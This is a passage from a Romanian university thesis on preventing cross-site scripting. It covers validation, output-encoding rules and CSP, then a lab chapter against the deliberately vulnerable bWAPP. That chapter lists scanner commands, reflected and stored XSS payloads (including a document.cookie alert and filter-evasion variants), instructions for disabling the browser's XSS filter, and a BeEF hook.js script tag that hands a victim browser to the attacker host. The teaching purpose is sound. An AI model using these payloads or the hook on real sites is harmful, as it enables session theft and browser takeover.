ieșire descrise pent ru XSS Reflectat.
61
Validarea INPUT -ului
În multe situații, aplicațiile pot efectua o validare riguroasă a datelor prelucrate. Într-adevăr,
acesta este un domeniu în care validarea de la nivelul clientului poate fi mai eficientă decât
validarea de la nivel ul server ului. Atacul poate fi împiedicat prin validarea datelor care
urmează să fie inserate în document , date care s ă conțin ă doar caractere alfanumerice și spații
albe. De exemplu:
<script>
var a = document.URL;
a = a.substring(a.indexOf(“messag e=”) + 8, a.length);
a = unescape(a);
var regex=/^([A -Za-z0-9+\s])*$/;
if (regex.test(a))
document.write(a);
</script>
În plus față de acest control al clientului, poate fi folosită o validare riguroasă a URLurilor de
pe server ca o măsură de apărare în profunzime pentru a detecta cererile care pot conține
exploit-uri malițioase pentru vulnerabilități XSS bazat pe DOM. În același exemplu descris
mai sus, ar fi posibil ca o aplicație să împiedice un atac prin utiliza rea doar a validării datelor
de pe server , prin verificarea următoarelor:
Șirul de interog are conține un singur parametru;
Numele parametrului este mes ajul (verificarea cu majuscule);
Valoarea parametrilor conține numai caractere alfanumeric e;
Cu ajutorul acestor controale, tot ar fi necesar ca scriptul d in partea clientului s ă parseze
corect valoarea parametrului mesajului, asigurându -se că nici o parte fragmentară a adresei
URL nu a fost inclusă.
Validarea OUTPUT -ului
Ca și în cazul vulnerabil itaților XSS Reflectate, aplicațiile pot efectua codarea HTML a
datelor DOM controlate de utilizator înainte de a fi inserate în document. Acest lucru permite
ca toate tipurile de caractere și expresii potențial periculoase să fie afișate în pagină într -un
62
mod sigur. Codarea HTML poate fi implementată în partea de client JavaScript cu o funcție
cum ar fi:
function sanitize(str)
{
var d = document.createElement(div);
d.appendChild(document.createTextNode(str));
return d.innerHTML;
}
3.9 Rezumatul regulilor de codare a output -ului
Scopul codării output -ului este de a transforma intrările nesigure într -o formă sigură unde
input-ul este afișat ca date către utilizator fără a fi executat ca un cod în browser.
Următorul tabel detaliază o listă de metode c ritice de codare al output -ului necesare pentru a
opri Cross -Site Scripting:
Tip de codificare Mecanism de codificare
Codarea entității HTML
conversie & to &
conversie < to <
conversie " to "
conversie ' to '
conversie / to /
Codarea atributului HTML
cu excepția caracterelor alfanumerice, se codeaza
toate caracterele in formatul &#xHH; al entitatii
HTML, inclusiv spațiile. (HH = Valoarea Hex)
Codarea URL -urilor Codare standard utilizand procentul
(space – %20, NUL – %00, ESC – %1B)
Codarea URL -ului ar trebui utilizată numai pentru
codarea valorilor parametrilor, nu pentru întreaga
adresă URL sau fragmente din adresa URL.
Codarea JavaScript Cu excepția caracterelor alfanumerice, se codeaza
toate caracterele in formatul unicode \uXXXX (X –
integer)
\': single quote (U+0027 APOSTROPHE)
\": double quote (U+0022 QUOTATION MARK)
\\: backslash (U+005C REVERSE SOLIDUS)
63
Codarea hexazecimala CSS Codarea CSS suporta formatul \XX si \XXXXXX
Utilizarea unei codari de doua caractere poate cauza
probleme dacă următorul caracter continuă secventa de
codare. Există două soluții :
a. Adaugarea unui spatiu dupa codarea CSS (parserul
CSS va ignora acest lucru)
édition – \E9 dition
b. Utilizarea întreagului potential posibil al
codarii CSS prin umplerea cu zero a valorii.
édition – \0000E9dition
3.10 Cea mai buna teh nică de prevenire a atacurilor XSS
Codificarea ar trebui să fie prima linie de apărare împotriva acestor tipuri de atacuri,
deoarece însuș i scopul său este de a neutraliza datele pentru a nu fi interpretate ca și cod
Javascript.
În unele cazuri codarea trebuie să fie completată cu validarea. Codarea și validarea ar
trebui utilizate înainte de introducerea datelor în pagină, deoarece în acest moment știm ce
context să folosim pentru codare și validare.
Ca o a doua linie de apărare ar trebui să utilizăm validarea tuturor datelor de intrare
pentru a igieniza sau a respinge date care sunt în mod clar invalide, cum ar fi URL -ul ce
conține “javas cript:”. Acesta metodă, ca o a doua linie de apărare, este bine să o utilizăm
deoarece prima linie de apărare poate produce erori de codare sau validare.
În cazul în care aceste două linii de apărare sunt folosite în mod consecvent, aplicația
web va fi pr otejată de atacuri XSS. Cu toate acestea din cauza complexității creări și
menținerii unei aplicații web, realizarea unei protecții complete este destul de dificilă. Ca o a
treia linie de apărare ar trebuie să se utilizeze politica de securitate de conținu t a browser -ului
(CSP).
64
Capit olul IV: APLICAȚII PRACTICE XSS
În acest capitol tratez practic vulnerabilitățile XSS Stocat și XSS Reflectat. Testele vor avea
loc cu ajutorul următoarelor mașini virtuale:
Win7 169.254.177.232 (Win 7 Ultimate x32)
Kali 169.254.238.106 (Debian x64)
bWAPP 169.254.7.191 (Ubuntu x32)
Hypervisorul de tip 2 utilizat este VirtualBox v5.1.14.
4.1 Scanare vulnerabilități web bWAPP
BeeBox v1.6
http://www.itsecgames.com/
Masina virtual a personalizata Linux preinstalata cu bWAPP v 2.2
bWAPP, sau buggy web application, este o aplicație gratuita si open source care a fost creata
în mod deliberat nesigură . bWAPP are peste 100 de vulnerabilitati web.
BWAPP este o aplicație PHP care utilizează o bază de date MySQL. Ace asta poate fi
găzduit a pe Linux/Windows cu Apache / IIS și MySQL. Poate fi instalat a și cu WAMP sau
XAMPP.
Pregatirile de scanare necesita utilizarea urmatorului URL:
http://itsecgames.com /bWAPP/aim.php
A.I.M. sau Authentication I s Missing , este un mod fără autentificare care poate fi folosit
pentru testarea scan erelor web și a crawlerelor web.
65
Un crawler web (web spider sau web robot) este un program care vizitează site -uri web și le
citește paginile și alte informații pentru a cr ea intrări pentru index ul motorului de căutare.
Fig. 4.1 Mod A.I.M. (Authentication Is Missing)
XSSer v1.7b
Cross Site "Scripter" (aka XSSer) este un framework automat izat care are functii de a detecta,
explo ata și raporta vulnerabilități XSS în aplicațiile web. Acesta conține mai multe opțiuni
pentru a încerca să ocolească anumite filtre și diferite tehnici speciale de injectare a codului.
Lansare interfata GTK (GUI):
root@kali:~# xsser –gtk
Fig. 4.2 XSSer Wizard Helper
66
Grabber
Grabber este un scaner de vulnerabilitati pentru aplicații web.
Caracteristici:
Cross -Site Scripting
SQL Injection (există, de asemenea, un modul special Blind SQL Injection)
File Inclusion
Verificarea fisierelor de backup
Verificarea simplă AJAX (parsare fiecare JavaScript și obținere adresa URL pentru
obținere parametri )
Analiza hibridă / Testarea glob de cristal pentru aplicația PHP folosind PHP -SAT
Analiza cod sursa JavaScript: Evaluarea calității/corectitudinii codului JavaScript cu
JavaScript Lint
Generarea unui fișier [session_id, time (t)] pent ru analiza statistică următoare
Lansare help aplicatie:
root@kali:~# grabber -h
Fig. 4.3 Grabber help
67
Scanare website bWAPP , utilizand adancime 1 ( spider 1) si metode de atac SQL si XSS:
grabber –spider 1 –sql –xss –url http:// 169.254.7.191 /bWAPP/login.php
Fig. 4.4 Grabber output
PHP folosește două metode pentru a urmări sesiunile: cookie si URL. In situatia de fata,
cookie -urile fiind activate, este afisat cookie -ul sesiunii PHP. PHPSESSID dezvaluie
utilizarea PHP, astfel se recomanda schimbarea parametrului “ session.name ” din php.ini sau
utilizand functia “ session_name() ”.
Alte scanere de vulnerabilitati si crawlere web , precum si linia de comanda corespunzatoare :
root@kali:~# skipfish -o 202 http://169.254.7.191 /bWAPP/aim.php
root@kali:~# nikto -Display V -o nikto_scan_result.html -Format html -h
http://169.254.7.191 /bWAPP/aim.php
root@kali:~# golismero scan http://169.254.7.191 /bWAPP/aim.php -o report.html
4.2 Teste de penetrare vulnerabi lități XSS în mediul bWAPP
Mașina de test folosită este Win7 cu IP 169.254.177.232 . Browser -ul utilizat este Internet
Explorer , și este posibil ca ferestrele pop -up să nu apară și browserul să afișeze mesajul
"Internet Explorer a modificat această pagină pentru a preveni cross -site scripting". Acest
lucru se datorează faptului că versiunile recente de Internet Explorer conțin un mecan ism
integrat , conceput pentru a proteja utilizatorii împotriva vulnerabilităților XSS Reflectate .
68
Dacă se dorește testarea acestor exemple, se recomandă utilizarea unui browser care nu are
protecție XSS , sau se poate dezactiva filtrul XSS din Internet Expl orer. Acest lucru se
realizează accesând “Tools – Internet Options – Security – Custom level”. La secțiunea
“Enable XSS Filter” se selectează Disable.
XSS – Reflectat
(GET)
http://itsecgames.com /bWAPP/xss_get.php?firstname=<script>alert ('XSS
Reflectat ')</script>&lastname=<script>alert ('XSS Reflectat ')</script>&form=submit
(POST)
<script>alert(' XSS Reflectat ')</script>
<script>alert(123)</ script>
<script> document.write(" Linie de cod vulnerabila ")</script>
(HREF ) post
Atributul href specifică adresa URL a paginii la care se face legătura.
'"–></style></scR ipt><scRipt>document.write(" Linie de cod vulnerabila ")</scRipt>
'"–></style></scR ipt><scRipt> alert('XSS Reflectat ')</scRipt>
(LOGIN FORM) post
'"–></style></scR ipt><scRipt>alert( 'XSS Reflectat ')</scRipt>
(EVAL) get
Eval () este o funcție periculoasă care evaluează sau execută un argument. Dacă argumentul
este o expresie, eval () evaluează expresia. Dacă argumentul este cod JavaScript, eval ()
execută codul.
'"–></style></scRip t><scRipt>alert( 'Executie cod in functia eval ')</scRipt>
(USER -AGENT)
<script>alert( 'XSS Reflectat ')</script>
<script>document.write(" Linie de cod vulnerabila ")</script>
69
XSS – Stocat
(BLOG)
<script>alert( “XSS Stocat ')</script>
<iframe src="http:// 169.254.7.191 /bWAPP/aim.php "></iframe>
<script>window.location=" http://itsecgames.com/bWAPP/documents/Iron_Man.pdf "
</script>
<script>alert(document.cookie)</script>
Fig. 4.5 Cookie -ul sesiunii PHP (PHPSESSID).
4.3 BeEF – Framework de exploit al browser -ului
Este un instrument de testare de penetr are care se concentrează pe browserul web.
Pe fondul unor preocupări crescânde legate de atacurile pe internet împotriva clienților,
inclusiv a clienților mobili, BeEF permite testerului de penetrare profesională să e valueze
poziția reală de securitate a unui mediu țintă utilizând vectori de atac asupra clientului.
70
BeEF trece de perimetrul de rețea întărit și de sistemul clientului , și examinează
exploatabilitatea în contextul unei singure uși deschise: browser -ul web.
BeEF va capta unul sau mai multe browsere web și le va folosi pentru lansarea modulelor de
comandă direcționate și a altor atacuri împotriva sistemului din contextul browserului.
Pentru început se lanseaz ă aplicația (locația de început fiind /root ):
root@kali:~# cd /usr/share/beef -xss/
root@kali:/usr/share/beef -xss# ./beef
Fig. 4.6 Output execuție BeEF
Se accesează interfața de utilizator (web UI) utilizând browser -ul Mozilla din Kali:
http://169.254.238.106:3000/ui/panel
Fig. 4.7 Fereastră login BeEF (user: beef pass: beef)
71
Se implementează locația codului JavaScript malițios în eticheta HTML <script> :
<script type=text/javascript src= http://169.254.238.106:3000/hook.js ></script>
Pe statia victim a (IP: 169.254.177.232 ) se introduce linia de mai sus în blogul aplicației web
bWAPP, secțiunea XSS Stocat. S e verifică rezultatul accesând pagina web UI BeEF (Kali).
Fig. 4.7 BeEF Control Panel cu b rowser -ul victimei “hooked”
Acum, browser -ul victimei este conectat la IP -ul atacatorului , care este de 169.254.238.106
pe portul 3000.
Odată ce atacatorul a realizat această conexiune prin exploatarea vulnerabilitatii XSS , BeEF
permite atacatorului să trimită comenzi victimei.
72
CONCLUZII
Un atac XSS este un atac ce injectează cod scris în Javascript din cauza manipulării
inadecvate a datelor introduse de utilizatorul aplicației web.
Un atac XSS ce are loc cu succes permite unui atacator să execute cod malițios scris
în Javascript ce va rula în browser -ul clientului (utilizatorului). El va compromite atât
securitatea aplicației web cât și securitatea utilizatorilor săi.
Există trei tipuri majore de atacuri XSS: persistent, în cazul în care codul malițios
provine din baza de date a aplicației, non -persi stent, sau reflectat, în cazul în care codul
periculos provine din cererea făcută de către browser -ul victimei, și bazat pe DOM, în cazul
în care vulnerabilitatea provine din codul la nivel de client, mai degrabă decât din codul la
nivel de server. Toate a ceste atacuri sunt efectuate în moduri diferite, dar au același efect în
cazul în care se termină cu succes.
Cel mai important mod de prevenire a atacurilor XSS este de a efectua o procesare
securizată sigură a datelor ce provin de la utilizatorii aplicaț iei web. În cea mai mare parte a
timpului trebuie să se facă o codificare adecvată atunci când datele editate de utilizator sunt
introduse într -o pagină sub formă de HTML. În unele cazuri codificarea trebuie să fie
înlocuită sau completată cu o validare ad ecvată.
O metoda buna de protectie impotriva atacurilor XSS presupune dezactivarea functiei
“HTTP Trace” de pe toate serverele web. Un atacator poate sa sustraga informatii din cookie –
uri prin JavaScript chiar si atunci cand functia “document.cookie” este dezactivata sau
indisponibila pe terminalul clientului. Atunci cand victima acceseaza un link malware creat
de atacator, este declansat un apel HTTP Trace prin care sunt colectate informatiile din
cookie -uri si trimise catre un alt server, de unde atacato rul le poate prelua si utiliza in interes
propriu. Aceasta situatie poate fi usor evitata prin dezactivarea HTTP Trace de pe toate
serverele web.
Procesarea securizată a datelor de intrare trebuie să ia în calcul contextul în care se
introduc datele în pag ina. Pentru a preveni toate tipurile de atacuri XSS procesarea securizată
pe datele de intrare trebuie să fie efectuată atât la nivel de client cât și la nivel de server.
Content Security Poli cy oferă un strat suplimentar de apărare atunci când o procesar e
securizată sigură eșuează.
73
BIBLIOGRAFIE
1. “The Web Application Hacker’s Handbook (2nd Edition )” – Dafydd Stuttard , Marcus
Pinto
2. “Web Penetration Testing with Kali Linux” – Joseph Muniz , Aamir Lakhani
3. “Securitatea aplicatiilor Web ” – Mironela Pîrnău
4. “Analiza si evolutia vulnerabilitatilo r Web ” – Petre Alexandru Popescu
5. “Vuln erabilitati ale aplicatiilor Web si metode de protejare impotriva atacului” – Raul
Tosa
6. “Vulnerabilitati Web si securizarea acestora” – Ionut Popescu
7. “Vulnerabilitatile aplicatiilo r Web ” – Dr. Sabin Buraga
8. “Auditarea securității rețelelor” – Adrian Furtună
9. “Ghid pentru securizarea aplicațiilor și serviciilor web” – CERT.RO
10. “OWASP top ten 2013 scan report summary” – NETSPARKER
11. “What is bWAPP?” – Malik Mesellem
12. https://blogs.msdn.microsoft.com/kaushal/2011/10/03/taming -the-beast -browser -exploit –
against -ssltls/
13. http://www.securitatea -informatiilor.ro/vulnerabilitati -informatice/vulnerabilitatea -https/
14. https://www.ha ckthis.co.uk/articles/practical -applications -of-cross -site-scripting -xss
15. https://www.owasp.org/index.php/Cross -site_Scripting_(XSS)
16. https://www.netsparker.com/blog/web -security/dom -based -cross -site-scripting –
vulnerability/
17. https://www.owasp.org/index.php/DOM_Based_XSS
18. http://www.webappsec.org/projects/articles/071105.shtml
19. https://en.wikipedia.org/wiki/Document_Object_Model#Implementations
20. https://www.owasp.org/index.php/Ca tegory:OWASP_Enterprise_Security_API
21. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
22. https://mathiasbynens.be/notes/javascript -escapes
23. https://www.w3.org/TR/2012/CR -CSP-20121115/
24. https://en.wikipedia.org/wiki/Escape_character
25. https://www.w3.org/International/questions/qa -escapes
26. https://www.w3.org/
74
27. https://developer.mozilla.org/en -US/docs/Mozilla/Tech/XBL
28. https://developer.mozilla.org/en -US/docs/Web/CSS/ -moz-binding
29. https://en. wikipedia.org/wiki/HTML
30. https://github.com/esapi/esapi -java-legacy
31. https://www.owasp.org/index.php/OWASP_Java_HTML_ Sanitizer_Project
32. http://www.simplehtmlguide.com/examplesheet.php
33. https://tools.kali.org/web -applications/grabber
34. http://tools.kali.org/web -applications/xsser
35. https://computersecuritystudent.com/SECURITY_TOOLS/D VWA/DVWAv107/lesson9/i
ndex.html
36. https://null -byte.wonderhowto.com/how -to/hack -like-pro-hack -web-browsers -with-beef-
0159961/
37. https://www.howtogeek.com/113439/how -to-change -your-browsers -user-agent -without –
installing -any-extensions/
38. https://udger.com/resources/ua -list
39. https://developer.mozilla.org/en -US/docs/Web/JavaScript/Reference/Global_Objects/eval
40. http://www.phpcoder.ro/tutorial/sesiuni -si-cookies.html
41. https://en.wikipedia.org/wiki/MIME
42. https://www.sitepoint.com/web -foundations/mime -types -complete -list/
43. http://www.criminalitatea -informatica.ro/stiri -de-ultima -ora/atacuri -xss-cross -site-
scripting/
Copyright Notice
© Licențiada.org respectă drepturile de proprietate intelectuală și așteaptă ca toți utilizatorii să facă același lucru. Dacă consideri că un conținut de pe site încalcă drepturile tale de autor, te rugăm să trimiți o notificare DMCA.
Acest articol: METODE DE PREVENIRE A ATACURILOR DE TIP CROSS -SITE SCRIPTING COORDONATOR ȘTIINȚIFIC: Conf. univ. dr. PÎRNĂU MIRONELA ABSOLVENT: VĂLEA NU IONU… [618317] (ID: 618317)
Dacă considerați că acest conținut vă încalcă drepturile de autor, vă rugăm să depuneți o cerere pe pagina noastră Copyright Takedown.